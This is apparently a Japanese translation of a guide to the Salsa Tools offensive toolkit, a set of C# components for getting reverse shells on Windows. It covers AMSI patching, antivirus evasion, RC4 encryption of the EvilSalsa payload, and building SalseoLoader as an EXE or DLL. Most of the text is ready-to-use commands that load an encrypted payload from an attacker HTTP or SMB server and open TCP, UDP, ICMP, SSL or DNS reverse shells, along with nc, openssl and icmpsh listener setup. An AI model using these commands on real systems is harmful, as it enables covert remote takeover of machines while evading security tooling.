
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY および AV回避、AMSIパッチ適用
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Toolsは、3つの異なるツールを組み合わせたツール群です。PowerShellの実行さえ必要とせず、あらゆるWindows環境で強化されたリバースシェルを取得できます。最新の検出技術(AMSI)を回避するため、ほとんどのコンポーネントはC#で記述されています。Salsa Toolsは、2019年2月9日に開催されたh-c0nでのLuis Vacas氏の講演「Inmersión en la explotación tiene rima」で公開されました。
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* AVセーフ(2月17日時点)
* AMSIパッチャー
* PowerShell実行
* ...
Salsa-Toolsは、次の3つの材料から作られています。 - EvilSalsa - EncrypterAssembly - SalseoLoader 動作の流れは以下の通りです。
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] これがペイロードです
EvilSalsaはこのレシピの重要な材料です。これにはペイロードが含まれており、システム上で次のように実行されます。ペイロードが起動すると、System.Management.Automation.dllを実行し、これによりランスペースが作成されます。そのランスペース内には4種類のシェル(TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY)があります。EvilSalsaがロードされると、まず最初にc:\windows\system32\amsi.dllの存在が確認されます。存在する場合、CyberArkとRastamouseのバイパスを応用した自家製の手法でパッチが適用されます。
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] RC4でペイロードを暗号化するソフトウェア
[+] Python版と.exe版があります
EncrypterAssemblyはPythonスクリプトまたはExeバイナリとして使用できます。 先ほど生成したEvilSalsaを暗号化します。
Pythonでの使用法:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
実行可能ファイルでの使用法:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoaderは暗号化されたペイロードをロードする役割を担います。ライブラリとしても実行可能ファイルとしてもコンパイルできます。実行可能ファイルとして実行する場合は、実行時に必要な引数を指定する必要があります。ライブラリとしてコンパイルする場合は、ディスクリプタ「main」をエクスポートする必要があります。引数は環境変数を使って追加します。
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
By: CyberVaca@HackPlayers
[+] 使用法:
[-] SalseoLoader.exe パスワード http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe パスワード \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe パスワード c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe パスワード http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe パスワード http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe パスワード c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe パスワード http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe パスワード http://webserver.com/silent.txt silenttrinity URL_C2C
[+] 利用可能なペイロード:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
GitHubからソースコードをダウンロードし、EvilSalsaとSalseoLoaderをコンパイルします。コードをコンパイルするにはVisual Studioがインストールされている必要があります。
これらのプロジェクトは、使用するWindowsボックスのアーキテクチャに合わせてコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします)。
Visual Studioの左側の「ビルド」タブの「プラットフォームターゲット」でアーキテクチャを選択できます。
(このオプションが見つからない場合は、「プロジェクト」タブをクリックし、「<プロジェクト名> プロパティ」をクリックします)

次に、両方のプロジェクトをビルドします(ビルド -> ソリューションのビルド)(ログに実行可能ファイルのパスが表示されます):

まず最初に、EvilSalsa.dllをエンコードする必要があります。これには、Pythonスクリプトencrypterassembly.pyを使用するか、EncrypterAssemblyプロジェクトをコンパイルします。
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
これで、Salseoを実行するために必要なすべてが揃いました。エンコードされたEvilDalsa.dllとSalseoLoaderのバイナリです。 SalseoLoader.exeバイナリをマシンにアップロードします。AVに検出されることはないはずです...
リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するHTTPサーバーを起動することを忘れないでください。
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
リバースシェルリスナーとしてncを起動し、エンコードされたevilsalsaを提供するSMBサーバー(impacket-smbserver)を起動することを忘れないでください。
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
攻撃側マシンでリスナーをセットアップ:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <port> -tls1
バックドアを実行:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <Attacker-IP> <Port>
今回は、リバースシェルを受信するためにクライアント側に特別なツールが必要です。ダウンロード先: [https://github.com/inquisb/icmpsh]
ICMP応答を無効化:
# 終了後、以下のコマンドで再度有効化できます:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
クライアントを実行:
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
被害者側でSalseoを実行:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
Visual StudioでSalseoLoaderプロジェクトを開きます。
main関数の前に次の行を追加します: [DllExport]

ツール --> NuGet パッケージ マネージャー --> ソリューションのNuGetパッケージの管理...

DllExportパッケージを検索(参照タブを使用)、インストールを押します(ポップアップを承認)

プロジェクトフォルダにDllExport.batとDllExport_Configure.batファイルが作成されています。
アンインストールを押します(奇妙ですが、信じてください、必要です)

Visual Studioを終了します。
次に、SalseoLoaderフォルダに移動し、DllExport_Configure.batを実行します。 x64(x64ボックスで使用する場合。私の場合はこれでした)を選択し、System.Runtime.InteropServices(DllExportの名前空間内)を選択して、適用を押します。

**[DllExport]**がエラーとしてマークされなくなっているはずです。

出力の種類 = クラスライブラリを選択します(プロジェクト --> SalseoLoader プロパティ --> アプリケーション --> 出力の種類 = クラスライブラリ)

x64プラットフォームを選択します(プロジェクト --> SalseoLoader プロパティ --> ビルド --> プラットフォームターゲット = x64)

ソリューションをビルドするには: ビルド --> ソリューションのビルド(出力コンソールに新しいDLLのパスが表示されます)
DLLをテストしたい場所にコピー&ペーストします。
実行:
rundll32.exe SalseoLoader.dll,main
エラーが表示されなければ、おそらく動作するDLLです!
HTTPサーバーとncリスナーの設定を忘れないでください。
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
ドキュメント作成: https://github.com/carlospolop-forks/